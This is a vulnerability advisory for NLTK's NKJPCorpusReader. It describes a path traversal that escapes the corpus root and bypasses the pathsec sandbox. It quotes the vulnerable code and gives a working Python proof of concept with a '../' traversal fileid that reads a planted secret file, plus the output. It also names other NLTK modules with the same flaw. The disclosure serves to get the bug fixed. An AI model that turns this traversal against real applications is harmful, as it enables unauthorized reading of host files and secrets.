Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)

Summary

A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can
influence the fileids argument of its public read methods (header, raw,
words, sents, tagged_words) to read files outside the corpus root. The
reader builds the file path with no containment check and opens it with the
builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the
strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant
deployments. header() returns the parsed content of the out-of-root file to
the caller (arbitrary file read).

Details

SECURITY.md promises that file access is "validated against allowed NLTK data
directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file
access … will raise PermissionError." That guarantee is enforced via
FileSystemPathPointer.open() / CorpusReader.open(), which call
nltk.pathsec.validate_path(...).

NKJPCorpusReader never uses that protected path. In
nltk/corpus/reader/nkjp.py:

• add_root() builds the path by plain string concatenation with no
  normalization or containment check:
  python복사

   1def add_root(self, fileid):          # lines 96-102
   2    if self.root in fileid:
   3        return fileid                # attacker-controlled value returned unchanged
   4    return self.root + fileid        # plain concat, '..' not stripped

• The header view appends a fixed basename and passes the string straight into
  the corpus view (which opens it with the builtin open()):
  python복사

   1class NKJPCorpus_Header_View(XMLCorpusView):   # line 181
   2    def __init__(self, filename, **kwargs):
   3        XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec)  # line 189

• The other modes reach the filesystem through XML_Tool, which uses a raw
  os.path.join (not the hardened FileSystemPathPointer.join()) and the
  builtin open():
  python복사

   1class XML_Tool:                                  # line 243
   2    def __init__(self, root, filename):
   3        self.read_file = os.path.join(root, filename)   # line 251
   4    def build_preprocessed_file(self):
   5        fr = open(self.read_file)                        # line 256 — pathsec never consulted

Because open() is the builtin (not PathPointer.open()), the pathsec
sentinel is never invoked, so ENFORCE = True does not block the access. For
comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222)
rejects ../absolute fileids and calls validate_path(..., required_root=...)
before opening — NKJPCorpusReader simply does not go through it.

PoC

Tested against nltk==3.9.4 (latest PyPI release) and current develop.

 1pip install "nltk==3.9.4"
 2python3 poc.py

poc.py:

 1import builtins, os, shutil, tempfile, warnings
 2warnings.simplefilter("ignore")
 3import nltk, nltk.pathsec as pathsec
 4from nltk.corpus.reader.nkjp import NKJPCorpusReader
 5 
 6print("nltk", nltk.__version__)
 7 
 8# A legitimate, empty NKJP corpus root (what a real app has).
 9root = tempfile.mkdtemp(prefix="nkjp_corpus_root_")
10os.makedirs(os.path.join(root, "sample"), exist_ok=True)
11open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>")
12 
13# The attacker's target: a file OUTSIDE the corpus root.
14secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_")
15open(os.path.join(secret_dir, "header.xml"), "w").write(
16"<teiHeader><fileDesc><sourceDesc><bibl>"
17"<title>SECRET-API-KEY=sk-live-DEADBEEF</title>"
18    "</bibl></sourceDesc></fileDesc></teiHeader>")
19 
20# Enable the strict mode SECURITY.md recommends for web / multi-tenant.
21pathsec.ENFORCE = True
22print("ENFORCE =", pathsec.ENFORCE)
23 
24# Prove the out-of-root read and that pathsec is never consulted.
25opened = []; real = builtins.open
26builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]
27 
28reader = NKJPCorpusReader(root=root + "/", fileids="sample")
29# Attacker-controlled `fileids`; '..' escapes the corpus root:
30evil = root + "/../../../../../../.." + secret_dir + "/"
31try:
32    result = reader.header(fileids=[evil])
33finally:
34    builtins.open = real
35 
36print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1])
37print("disclosed content  :", result[0]["title"])
38shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)

Output (unmodified):

 1nltk 3.9.4
 2ENFORCE = True
 3opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']
 4disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF

With ENFORCE = True, NLTK opened a file outside the corpus root via the
builtin open() (no PermissionError, no warning) and returned its content.

Impact

This is a path traversal (CWE-22) leading to arbitrary file read. Any
application that passes attacker-influenced values into NKJPCorpusReader's
fileids (e.g. letting a user choose which corpus document to read) is
affected; the attacker can escape the corpus root and read files elsewhere on
the host, defeating the ENFORCE=True sandbox.

Honest scoping: header() discloses the content of out-of-root files named
header.xml containing NKJP header XML. raw()/words()/sents() also open
and read an arbitrary out-of-root file (proven by intercepting open()), but a
separate pre-existing bug in XML_Tool (writing str to a binary
NamedTemporaryFile) suppresses their return value on current Python, so for
those modes the impact is arbitrary file open/read. The attacker chooses the
directory freely; a fixed basename is appended per mode. The same
"build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in
xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43,
ipipan.py:191, pl196x.py:110 and is worth fixing as a class.